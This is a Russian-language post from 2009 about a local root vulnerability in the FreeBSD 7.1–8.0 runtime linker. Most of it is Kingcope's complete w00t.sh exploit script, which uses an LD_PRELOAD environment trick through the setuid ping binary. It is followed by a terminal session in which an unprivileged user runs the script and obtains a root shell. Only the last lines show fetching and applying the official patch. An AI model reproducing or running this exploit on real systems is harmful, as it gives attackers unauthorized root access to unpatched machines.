Критическая локальная уязвимость во FreeBSD 7.1, 7.2, 8.0

Сегодня было опубликовано сообщение об уязвимости, позволяющей повысить пользовательские привилегии в последних версиях ОС FreeBSD (7.1-8.0).

Испытал у себя.

cat ./w00t.sh

#!/bin/sh
echo ** FreeBSD local r00t zeroday
echo by Kingcope
echo November 2009
cat > env.c << _EOF
#include 

main() {
       extern char **environ;
       environ = (char**)malloc(8096);

       environ[0] = (char*)malloc(1024);
       environ[1] = (char*)malloc(1024);
       strcpy(environ[1], "LD_PRELOAD=/tmp/w00t.so.1.0");

       execl("/sbin/ping", "ping", 0);
}
_EOF
gcc env.c -o env
cat > program.c << _EOF
#include 
#include 
#include 
#include 

void _init() {
       extern char **environ;
       environ=NULL;
       system("echo ALEX-ALEX;/bin/sh");
}
_EOF
gcc -o program.o -c program.c -fPIC
gcc -shared -Wl,-soname,w00t.so.1 -o w00t.so.1.0 program.o -nostartfiles
cp w00t.so.1.0 /tmp/w00t.so.1.0
./env

$ uname -v
FreeBSD 8.0-RELEASE #0: Sat Nov 21 15:48:17 UTC 2009     root@almeida.cse.buffalo.edu:/usr/obj/usr/src/sys/GENERIC 
$ whoami
denn
$ ./w00t.sh
dev env env.c nginx.conf php5-fpm program.c program.o w00t.sh w00t.so.1.0 FreeBSD local r00t zeroday
by Kingcope
November 2009
env.c: In function 'main':
env.c:5: warning: incompatible implicit declaration of built-in function 'malloc'
env.c:9: warning: incompatible implicit declaration of built-in function 'strcpy'
env.c:11: warning: incompatible implicit declaration of built-in function 'execl'
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
/libexec/ld-elf.so.1: environment corrupt; missing value for 
ALEX-ALEX
# whoami
root
# 

Применяем патч, для закрытия дыры:

fetch http://people.freebsd.org/~cperciva/rtld.patch
rtld.patch                                    100% of  846  B  960 kBps
# cd /usr/src/libexec/rtld-elf/
# patch -p0 < /home/denn/rtld.patch
Hmm...  Looks like a unified diff to me...
The text leading up to this was:
--------------------------
|Index: rtld.c
|===================================================================
|--- rtld.c	(revision 199977)
|+++ rtld.c	(working copy)
--------------------------
Patching file rtld.c using Plan A...
Hunk #1 succeeded at 366.
done
make && make install